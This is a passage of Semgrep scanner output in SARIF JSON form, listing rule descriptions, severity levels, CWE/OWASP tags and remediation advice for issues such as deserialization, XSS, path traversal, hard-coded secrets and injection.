CONFIDENCE","OWASP-A03:2021 - Injection","OWASP-A07:2017 - Cross-Site Scripting (XSS)","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.angular.security.detect-angular-element-methods.detect-angular-element-methods"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. To prevent this vulnerability, leverage data formats such as JSON or XML as safer alternatives. If you need to deserialize user input in a specific format, consider digitally signing the data before serialization to prevent tampering. For more information, see: [Deserialization prevention](https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html) Even for a data-only serialization format such as JSON, a malicious string may cause the decoder to consume considerable CPU and memory resources. Limiting the size of data to be parsed is recommended."},"help":{"markdown":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. To prevent this vulnerability, leverage data formats such as JSON or XML as safer alternatives. If you need to deserialize user input in a specific format, consider digitally signing the data before serialization to prevent tampering. For more information, see: [Deserialization prevention](https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html) Even for a data-only serialization format such as JSON, a malicious string may cause the decoder to consume considerable CPU and memory resources. Limiting the size of data to be parsed is recommended.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.django.deserialization.tainted-json-django.tainted-json-django)\n - [https://portswigger.net/web-security/deserialization](https://portswigger.net/web-security/deserialization)\n - [https://knowledge-base.secureflag.com/vulnerabilities/unsafe_deserialization/unsafe_deserialization_python.html](https://knowledge-base.secureflag.com/vulnerabilities/unsafe_deserialization/unsafe_deserialization_python.html)\n - [https://docs.python.org/3/library/json.html](https://docs.python.org/3/library/json.html)\n - [https://docs.python.org/3/library/pickle.html](https://docs.python.org/3/library/pickle.html)\n - [https://davidhamann.de/2020/04/05/exploiting-python-pickle/](https://davidhamann.de/2020/04/05/exploiting-python-pickle/)\n","text":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. To prevent this vulnerability, leverage data formats such as JSON or XML as safer alternatives. If you need to deserialize user input in a specific format, consider digitally signing the data before serialization to prevent tampering. For more information, see: [Deserialization prevention](https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html) Even for a data-only serialization format such as JSON, a malicious string may cause the decoder to consume considerable CPU and memory resources. Limiting the size of data to be parsed is recommended."},"helpUri":"https://semgrep.dev/r/python.django.deserialization.tainted-json-django.tainted-json-django","id":"python.django.deserialization.tainted-json-django.tainted-json-django","name":"python.django.deserialization.tainted-json-django.tainted-json-django","properties":{"precision":"very-high","tags":["CWE-502: Deserialization of Untrusted Data","HIGH CONFIDENCE","OWASP-A08:2017 - Insecure Deserialization","OWASP-A08:2021 - Software and Data Integrity Failures","security"]},"shortDescription":{"text":"Semgrep Finding: python.django.deserialization.tainted-json-django.tainted-json-django"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"A wide-string is used in an API that should consume byte-string (narrow string). This can trigger an out-of-bounds read."},"help":{"markdown":"A wide-string is used in an API that should consume byte-string (narrow string). This can trigger an out-of-bounds read.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/cpp.lang.security.strings.wide-to-narrow-string-mismatch.wide-to-narrow-string-mismatch)\n - [https://wiki.sei.cmu.edu/confluence/display/c/STR38-C.+Do+not+confuse+narrow+and+wide+character+strings+and+functions](https://wiki.sei.cmu.edu/confluence/display/c/STR38-C.+Do+not+confuse+narrow+and+wide+character+strings+and+functions)\n","text":"A wide-string is used in an API that should consume byte-string (narrow string). This can trigger an out-of-bounds read."},"helpUri":"https://semgrep.dev/r/cpp.lang.security.strings.wide-to-narrow-string-mismatch.wide-to-narrow-string-mismatch","id":"cpp.lang.security.strings.wide-to-narrow-string-mismatch.wide-to-narrow-string-mismatch","name":"cpp.lang.security.strings.wide-to-narrow-string-mismatch.wide-to-narrow-string-mismatch","properties":{"precision":"very-high","tags":["CWE-125: Out-of-bounds Read","HIGH CONFIDENCE","security"]},"shortDescription":{"text":"Semgrep Finding: cpp.lang.security.strings.wide-to-narrow-string-mismatch.wide-to-narrow-string-mismatch"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Ensure CloudTrail logs are encrypted at rest using KMS CMKs. CMKs gives you control over the encryption key in terms of access and rotation."},"help":{"markdown":"Ensure CloudTrail logs are encrypted at rest using KMS CMKs. CMKs gives you control over the encryption key in terms of access and rotation.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/terraform.aws.security.aws-cloudtrail-encrypted-with-cmk.aws-cloudtrail-encrypted-with-cmk)\n - [https://owasp.org/Top10/A02_2021-Cryptographic_Failures](https://owasp.org/Top10/A02_2021-Cryptographic_Failures)\n","text":"Ensure CloudTrail logs are encrypted at rest using KMS CMKs. CMKs gives you control over the encryption key in terms of access and rotation."},"helpUri":"https://semgrep.dev/r/terraform.aws.security.aws-cloudtrail-encrypted-with-cmk.aws-cloudtrail-encrypted-with-cmk","id":"terraform.aws.security.aws-cloudtrail-encrypted-with-cmk.aws-cloudtrail-encrypted-with-cmk","name":"terraform.aws.security.aws-cloudtrail-encrypted-with-cmk.aws-cloudtrail-encrypted-with-cmk","properties":{"precision":"very-high","tags":["CWE-320: CWE CATEGORY: Key Management Errors","LOW CONFIDENCE","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: terraform.aws.security.aws-cloudtrail-encrypted-with-cmk.aws-cloudtrail-encrypted-with-cmk"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"help":{"markdown":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM).\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/ruby.pg.ruby-pg-hardcoded-connection-string.ruby-pg-hardcoded-connection-string)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html)\n","text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"helpUri":"https://semgrep.dev/r/ruby.pg.ruby-pg-hardcoded-connection-string.ruby-pg-hardcoded-connection-string","id":"ruby.pg.ruby-pg-hardcoded-connection-string.ruby-pg-hardcoded-connection-string","name":"ruby.pg.ruby-pg-hardcoded-connection-string.ruby-pg-hardcoded-connection-string","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","HIGH CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: ruby.pg.ruby-pg-hardcoded-connection-string.ruby-pg-hardcoded-connection-string"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Detected user input flowing into an HTML response. You may be accidentally bypassing secure methods of rendering HTML by manually constructing HTML and this could create a cross-site scripting vulnerability, which could let attackers steal sensitive user data."},"help":{"markdown":"Detected user input flowing into an HTML response. You may be accidentally bypassing secure methods of rendering HTML by manually constructing HTML and this could create a cross-site scripting vulnerability, which could let attackers steal sensitive user data.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.aws-lambda.security.tainted-html-response.tainted-html-response)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"Detected user input flowing into an HTML response. You may be accidentally bypassing secure methods of rendering HTML by manually constructing HTML and this could create a cross-site scripting vulnerability, which could let attackers steal sensitive user data."},"helpUri":"https://semgrep.dev/r/javascript.aws-lambda.security.tainted-html-response.tainted-html-response","id":"javascript.aws-lambda.security.tainted-html-response.tainted-html-response","name":"javascript.aws-lambda.security.tainted-html-response.tainted-html-response","properties":{"precision":"very-high","tags":["CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')","MEDIUM CONFIDENCE","OWASP-A03:2021 - Injection","OWASP-A07:2017 - Cross-Site Scripting (XSS)","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.aws-lambda.security.tainted-html-response.tainted-html-response"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The application builds a file path from potentially untrusted data, which can lead to a path traversal vulnerability. An attacker can manipulate the path which the application uses to access files. If the application does not validate user input and sanitize file paths, sensitive files such as configuration or user data can be accessed, potentially creating or overwriting files. In FastAPI apps, consider using the Starlette `:path` annotation in the route declaration to automatically sanitize paths and filenames."},"help":{"markdown":"The application builds a file path from potentially untrusted data, which can lead to a path traversal vulnerability. An attacker can manipulate the path which the application uses to access files. If the application does not validate user input and sanitize file paths, sensitive files such as configuration or user data can be accessed, potentially creating or overwriting files. In FastAPI apps, consider using the Starlette `:path` annotation in the route declaration to automatically sanitize paths and filenames.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.fastapi.file.tainted-path-traversal-stdlib-fastapi.tainted-path-traversal-stdlib-fastapi)\n - [https://fastapi.palletsprojects.com/en/2.3.x/patterns/fileuploads/](https://fastapi.palletsprojects.com/en/2.3.x/patterns/fileuploads/)\n - [https://fastapi.tiangolo.com/tutorial/path-params/#path-parameters-containing-paths](https://fastapi.tiangolo.com/tutorial/path-params/#path-parameters-containing-paths)\n - [https://owasp.org/Top10/A01_2021-Broken_Access_Control](https://owasp.org/Top10/A01_2021-Broken_Access_Control)\n - [https://owasp.org/www-community/attacks/Path_Traversal](https://owasp.org/www-community/attacks/Path_Traversal)\n - [https://portswigger.net/web-security/file-path-traversal](https://portswigger.net/web-security/file-path-traversal)\n - [https://werkzeug.palletsprojects.com/en/3.0.x/utils/#werkzeug.utils.secure_filename](https://werkzeug.palletsprojects.com/en/3.0.x/utils/#werkzeug.utils.secure_filename)\n","text":"The application builds a file path from potentially untrusted data, which can lead to a path traversal vulnerability. An attacker can manipulate the path which the application uses to access files. If the application does not validate user input and sanitize file paths, sensitive files such as configuration or user data can be accessed, potentially creating or overwriting files. In FastAPI apps, consider using the Starlette `:path` annotation in the route declaration to automatically sanitize paths and filenames."},"helpUri":"https://semgrep.dev/r/python.fastapi.file.tainted-path-traversal-stdlib-fastapi.tainted-path-traversal-stdlib-fastapi","id":"python.fastapi.file.tainted-path-traversal-stdlib-fastapi.tainted-path-traversal-stdlib-fastapi","name":"python.fastapi.file.tainted-path-traversal-stdlib-fastapi.tainted-path-traversal-stdlib-fastapi","properties":{"precision":"very-high","tags":["CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')","HIGH CONFIDENCE","OWASP-A01:2021 - Broken Access Control","OWASP-A05:2017 - Broken Access Control","security"]},"shortDescription":{"text":"Semgrep Finding: python.fastapi.file.tainted-path-traversal-stdlib-fastapi.tainted-path-traversal-stdlib-fastapi"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Generic API Key detected"},"help":{"markdown":"Generic API Key detected\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/generic.secrets.security.detected-generic-api-key.detected-generic-api-key)\n - [https://github.com/dxa4481/truffleHogRegexes/blob/master/truffleHogRegexes/regexes.json](https://github.com/dxa4481/truffleHogRegexes/blob/master/truffleHogRegexes/regexes.json)\n","text":"Generic API Key detected"},"helpUri":"https://semgrep.dev/r/generic.secrets.security.detected-generic-api-key.detected-generic-api-key","id":"generic.secrets.security.detected-generic-api-key.detected-generic-api-key","name":"generic.secrets.security.detected-generic-api-key.detected-generic-api-key","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","LOW CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: generic.secrets.security.detected-generic-api-key.detected-generic-api-key"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Found a template created with string formatting. This is susceptible to server-side template injection and cross-site scripting attacks."},"help":{"markdown":"Found a template created with string formatting. This is susceptible to server-side template injection and cross-site scripting attacks.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.flask.security.dangerous-template-string.dangerous-template-string)\n - [https://nvisium.com/blog/2016/03/09/exploring-ssti-in-flask-jinja2.html](https://nvisium.com/blog/2016/03/09/exploring-ssti-in-flask-jinja2.html)\n - [https://pequalsnp-team.github.io/cheatsheet/flask-jinja2-ssti](https://pequalsnp-team.github.io/cheatsheet/flask-jinja2-ssti)\n","text":"Found a template created with string formatting. This is susceptible to server-side template injection and cross-site scripting attacks."},"helpUri":"https://semgrep.dev/r/python.flask.security.dangerous-template-string.dangerous-template-string","id":"python.flask.security.dangerous-template-string.dangerous-template-string","name":"python.flask.security.dangerous-template-string.dangerous-template-string","properties":{"precision":"very-high","tags":["CWE-96: Improper Neutralization of Directives in Statically Saved Code ('Static Code Injection')","LOW CONFIDENCE","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: python.flask.security.dangerous-template-string.dangerous-template-string"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"'html_safe' renders raw HTML. This means that normal HTML escaping is bypassed. If user data can be controlled here, this exposes your application to cross-site scripting (XSS). If you need to do this, be sure to correctly sanitize the data using a library such as DOMPurify."},"help":{"markdown":"'html_safe' renders raw HTML. This means that normal HTML escaping is bypassed. If user data can be controlled here, this exposes your application to cross-site scripting (XSS). If you need to do this, be sure to correctly sanitize the data using a library such as DOMPurify.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/ruby.rails.security.audit.xss.templates.avoid-html-safe.avoid-html-safe)\n - [https://stackoverflow.com/questions/4251284/raw-vs-html-safe-vs-h-to-unescape-html#:~:text===](https://stackoverflow.com/questions/4251284/raw-vs-html-safe-vs-h-to-unescape-html#:~:text===)\n - [https://medium.com/sumone-technical-blog/a-pretty-way-to-unescape-html-in-a-ruby-on-rails-application-efc22b850027](https://medium.com/sumone-technical-blog/a-pretty-way-to-unescape-html-in-a-ruby-on-rails-application-efc22b850027)\n","text":"'html_safe' renders raw HTML. This means that normal HTML escaping is bypassed. If user data can be controlled here, this exposes your application to cross-site scripting (XSS). If you need to do this, be sure to correctly sanitize the data using a library such as DOMPurify."},"helpUri":"https://semgrep.dev/r/ruby.rails.security.audit.xss.templates.avoid-html-safe.avoid-html-safe","id":"ruby.rails.security.audit.xss.templates.avoid-html-safe.avoid-html-safe","name":"ruby.rails.security.audit.xss.templates.avoid-html-safe.avoid-html-safe","properties":{"precision":"very-high","tags":["CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')","LOW CONFIDENCE","OWASP-A03:2021 - Injection","OWASP-A07:2017 - Cross-Site Scripting (XSS)","security"]},"shortDescription":{"text":"Semgrep Finding: ruby.rails.security.audit.xss.templates.avoid-html-safe.avoid-html-safe"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"help":{"markdown":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM).\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/ruby.mysql2.ruby-mysql2-hardcoded-secret.ruby-mysql2-hardcoded-secret)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html)\n","text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"helpUri":"https://semgrep.dev/r/ruby.mysql2.ruby-mysql2-hardcoded-secret.ruby-mysql2-hardcoded-secret","id":"ruby.mysql2.ruby-mysql2-hardcoded-secret.ruby-mysql2-hardcoded-secret","name":"ruby.mysql2.ruby-mysql2-hardcoded-secret.ruby-mysql2-hardcoded-secret","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","HIGH CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: ruby.mysql2.ruby-mysql2-hardcoded-secret.ruby-mysql2-hardcoded-secret"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"A hardcoded passphrase was used with a call to the Password Based Key Derivation Function (PBKDF2) function which derives a cryptographic key from the password input. Because of this, the derived key is predictable and can be considered hard-coded too. Keys should be derived using a unique passphrase and randomly generated salt - per user."},"help":{"markdown":"A hardcoded passphrase was used with a call to the Password Based Key Derivation Function (PBKDF2) function which derives a cryptographic key from the password input. Because of this, the derived key is predictable and can be considered hard-coded too. Keys should be derived using a unique passphrase and randomly generated salt - per user.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/swift.commoncrypto.hardcoded-pbkdf2-passphrase.hardcoded-pbkdf2-passphrase)\n - [https://mobile-security.gitbook.io/masvs/security-requirements/0x08-v3-cryptography_verification_requirements](https://mobile-security.gitbook.io/masvs/security-requirements/0x08-v3-cryptography_verification_requirements)\n - [https://pages.nist.gov/800-63-3/sp800-63b.html#sec5](https://pages.nist.gov/800-63-3/sp800-63b.html#sec5)\n","text":"A hardcoded passphrase was used with a call to the Password Based Key Derivation Function (PBKDF2) function which derives a cryptographic key from the password input. Because of this, the derived key is predictable and can be considered hard-coded too. Keys should be derived using a unique passphrase and randomly generated salt - per user."},"helpUri":"https://semgrep.dev/r/swift.commoncrypto.hardcoded-pbkdf2-passphrase.hardcoded-pbkdf2-passphrase","id":"swift.commoncrypto.hardcoded-pbkdf2-passphrase.hardcoded-pbkdf2-passphrase","name":"swift.commoncrypto.hardcoded-pbkdf2-passphrase.hardcoded-pbkdf2-passphrase","properties":{"precision":"very-high","tags":["CWE-259: Use of Hard-coded Password","HIGH CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: swift.commoncrypto.hardcoded-pbkdf2-passphrase.hardcoded-pbkdf2-passphrase"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Found non static data as an index to 'globals()'. This is extremely dangerous because it allows an attacker to execute arbitrary code on the system. Refactor your code not to use 'globals()'."},"help":{"markdown":"Found non static data as an index to 'globals()'. This is extremely dangerous because it allows an attacker to execute arbitrary code on the system. Refactor your code not to use 'globals()'.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.lang.security.dangerous-globals-use.dangerous-globals-use)\n - [https://github.com/mpirnat/lets-be-bad-guys/blob/d92768fb3ade32956abd53bd6bb06e19d634a084/badguys/vulnerable/views.py#L181-L186](https://github.com/mpirnat/lets-be-bad-guys/blob/d92768fb3ade32956abd53bd6bb06e19d634a084/badguys/vulnerable/views.py#L181-L186)\n","text":"Found non static data as an index to 'globals()'. This is extremely dangerous because it allows an attacker to execute arbitrary code on the system. Refactor your code not to use 'globals()'."},"helpUri":"https://semgrep.dev/r/python.lang.security.dangerous-globals-use.dangerous-globals-use","id":"python.lang.security.dangerous-globals-use.dangerous-globals-use","name":"python.lang.security.dangerous-globals-use.dangerous-globals-use","properties":{"precision":"very-high","tags":["CWE-96: Improper Neutralization of Directives in Statically Saved Code ('Static Code Injection')","LOW CONFIDENCE","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: python.lang.security.dangerous-globals-use.dangerous-globals-use"}},{"defaultConfiguration":{"level":"note"},"fullDescription":{"text":"The application is running debug code or has debug mode enabled. This may expose sensitive information, like stack traces and environment variables, to attackers. It may also modify application behavior, potentially enabling attackers to bypass restrictions. To remediate this finding, ensure that the application's debug code and debug mode are disabled or removed from the production environment."},"help":{"markdown":"The application is running debug code or has debug mode enabled. This may expose sensitive information, like stack traces and environment variables, to attackers. It may also modify application behavior, potentially enabling attackers to bypass restrictions. To remediate this finding, ensure that the application's debug code and debug mode are disabled or removed from the production environment.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.flask.debug.debug-flask.active-debug-code-flask)\n - [https://flask.palletsprojects.com/en/3.0.x/debugging/](https://flask.palletsprojects.com/en/3.0.x/debugging/)\n","text":"The application is running debug code or has debug mode enabled. This may expose sensitive information, like stack traces and environment variables, to attackers. It may also modify application behavior, potentially enabling attackers to bypass restrictions. To remediate this finding, ensure that the application's debug code and debug mode are disabled or removed from the production environment."},"helpUri":"https://semgrep.dev/r/python.flask.debug.debug-flask.active-debug-code-flask","id":"python.flask.debug.debug-flask.active-debug-code-flask","name":"python.flask.debug.debug-flask.active-debug-code-flask","properties":{"precision":"very-high","tags":["CWE-489: Active Debug Code","HIGH CONFIDENCE","security"]},"shortDescription":{"text":"Semgrep Finding: python.flask.debug.debug-flask.active-debug-code-flask"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Detected user input flowing into a manually constructed HTML string. You may be accidentally bypassing secure methods of rendering HTML by manually constructing HTML and this could create a cross-site scripting vulnerability, which could let attackers steal sensitive user data. To be sure this is safe, check that the HTML is rendered safely. Otherwise, use templates (`flask.render_template`) which will safely render HTML instead."},"help":{"markdown":"Detected user input flowing into a manually constructed HTML string. You may be accidentally bypassing secure methods of rendering HTML by manually constructing HTML and this could create a cross-site scripting vulnerability, which could let attackers steal sensitive user data. To be sure this is safe, check that the HTML is rendered safely. Otherwise, use templates (`flask.render_template`) which will safely render HTML instead.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.flask.security.injection.raw-html-concat.raw-html-format)\n - [https://flask.palletsprojects.com/en/2.0.x/security/#cross-site-scripting-xss](https://flask.palletsprojects.com/en/2.0.x/security/#cross-site-scripting-xss)\n","text":"Detected user input flowing into a manually constructed HTML string. You may be accidentally bypassing secure methods of rendering HTML by manually constructing HTML and this could create a cross-site scripting vulnerability, which could let attackers steal sensitive user data. To be sure this is safe, check that the HTML is rendered safely. Otherwise, use templates (`flask.render_template`) which will safely render HTML instead."},"helpUri":"https://semgrep.dev/r/python.flask.security.injection.raw-html-concat.raw-html-format","id":"python.flask.security.injection.raw-html-concat.raw-html-format","name":"python.flask.security.injection.raw-html-concat.raw-html-format","properties":{"precision":"very-high","tags":["CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')","MEDIUM CONFIDENCE","OWASP-A03:2021 - Injection","OWASP-A07:2017 - Cross-Site Scripting (XSS)","security"]},"shortDescription":{"text":"Semgrep Finding: python.flask.security.injection.raw-html-concat.raw-html-format"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Untrusted input could be used to tamper with a web page rendering, which can lead to a Cross-site scripting (XSS) vulnerability. XSS vulnerabilities occur when untrusted input executes malicious JavaScript code, leading to issues such as account compromise and sensitive information leakage. To prevent this vulnerability, validate the user input, perform contextual output encoding or sanitize the input. For more information, see: [Go XSS prevention](https://semgrep.dev/docs/cheat-sheets/go-xss/)."},"help":{"markdown":"Untrusted input could be used to tamper with a web page rendering, which can lead to a Cross-site scripting (XSS) vulnerability. XSS vulnerabilities occur when untrusted input executes malicious JavaScript code, leading to issues such as account compromise and sensitive information leakage. To prevent this vulnerability, validate the user input, perform contextual output encoding or sanitize the input. For more information, see: [Go XSS prevention](https://semgrep.dev/docs/cheat-sheets/go-xss/).\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/go.net.xss.no-direct-write-to-responsewriter-taint.no-direct-write-to-responsewriter-taint)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"Untrusted input could be used to tamper with a web page rendering, which can lead to a Cross-site scripting (XSS) vulnerability. XSS vulnerabilities occur when untrusted input executes malicious JavaScript code, leading to issues such as account compromise and sensitive information leakage. To prevent this vulnerability, validate the user input, perform contextual output encoding or sanitize the input. For more information, see: [Go XSS prevention](https://semgrep.dev/docs/cheat-sheets/go-xss/)."},"helpUri":"https://semgrep.dev/r/go.net.xss.no-direct-write-to-responsewriter-taint.no-direct-write-to-responsewriter-taint","id":"go.net.xss.no-direct-write-to-responsewriter-taint.no-direct-write-to-responsewriter-taint","name":"go.net.xss.no-direct-write-to-responsewriter-taint.no-direct-write-to-responsewriter-taint","properties":{"precision":"very-high","tags":["CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')","HIGH CONFIDENCE","OWASP-A03:2021 - Injection","OWASP-A07:2017 - Cross-Site Scripting (XSS)","security"]},"shortDescription":{"text":"Semgrep Finding: go.net.xss.no-direct-write-to-responsewriter-taint.no-direct-write-to-responsewriter-taint"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Semgrep detected a Kubernetes core API ClusterRole with excessive permissions. Attaching excessive permissions to a ClusterRole associated with the core namespace allows the V1 API to perform arbitrary actions on arbitrary resources attached to the cluster. Prefer explicit allowlists of verbs/resources when configuring the core API namespace. "},"help":{"markdown":"Semgrep detected a Kubernetes core API ClusterRole with excessive permissions. Attaching excessive permissions to a ClusterRole associated with the core namespace allows the V1 API to perform arbitrary actions on arbitrary resources attached to the cluster. Prefer explicit allowlists of verbs/resources when configuring the core API namespace. \n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/yaml.kubernetes.security.legacy-api-clusterrole-excessive-permissions.legacy-api-clusterrole-excessive-permissions)\n - [https://kubernetes.io/docs/reference/access-authn-authz/rbac/#role-and-clusterrole](https://kubernetes.io/docs/reference/access-authn-authz/rbac/#role-and-clusterrole)\n - [https://kubernetes.io/docs/concepts/security/rbac-good-practices/#general-good-practice](https://kubernetes.io/docs/concepts/security/rbac-good-practices/#general-good-practice)\n - [https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.28/#api-groups](https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.28/#api-groups)\n","text":"Semgrep detected a Kubernetes core API ClusterRole with excessive permissions. Attaching excessive permissions to a ClusterRole associated with the core namespace allows the V1 API to perform arbitrary actions on arbitrary resources attached to the cluster. Prefer explicit allowlists of verbs/resources when configuring the core API namespace. "},"helpUri":"https://semgrep.dev/r/yaml.kubernetes.security.legacy-api-clusterrole-excessive-permissions.legacy-api-clusterrole-excessive-permissions","id":"yaml.kubernetes.security.legacy-api-clusterrole-excessive-permissions.legacy-api-clusterrole-excessive-permissions","name":"yaml.kubernetes.security.legacy-api-clusterrole-excessive-permissions.legacy-api-clusterrole-excessive-permissions","properties":{"precision":"very-high","tags":["CWE-269: Improper Privilege Management","HIGH CONFIDENCE","OWASP-A05:2021 - Security Misconfiguration","OWASP-A06:2017 - Security Misconfiguration","security"]},"shortDescription":{"text":"Semgrep Finding: yaml.kubernetes.security.legacy-api-clusterrole-excessive-permissions.legacy-api-clusterrole-excessive-permissions"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Untrusted input might be used to build a database query, which can lead to a NoSQL injection vulnerability. An attacker can execute malicious NoSQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. Make sure all user input is validated and sanitized, and avoid using tainted user input to construct NoSQL statements if possible. Ideally, avoid raw queries and instead use parameterized queries."},"help":{"markdown":"Untrusted input might be used to build a database query, which can lead to a NoSQL injection vulnerability. An attacker can execute malicious NoSQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. Make sure all user input is validated and sanitized, and avoid using tainted user input to construct NoSQL statements if possible. Ideally, avoid raw queries and instead use parameterized queries.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.django.db.pymongo-django.pymongo-django)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"Untrusted input might be used to build a database query, which can lead to a NoSQL injection vulnerability. An attacker can execute malicious NoSQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. Make sure all user input is validated and sanitized, and avoid using tainted user input to construct NoSQL statements if possible. Ideally, avoid raw queries and instead use parameterized queries."},"helpUri":"https://semgrep.dev/r/python.django.db.pymongo-django.pymongo-django","id":"python.django.db.pymongo-django.pymongo-django","name":"python.django.db.pymongo-django.pymongo-django","properties":{"precision":"very-high","tags":["CWE-943: Improper Neutralization of Special Elements in Data Query Logic","HIGH CONFIDENCE","OWASP-A01:2017 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: python.django.db.pymongo-django.pymongo-django"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. The `marshal` module is not intended to be secure against erroneous or maliciously constructed data. Never unmarshal data received from an untrusted or unauthenticated source. For deserializing data from untrusted sources we recommend using YAML 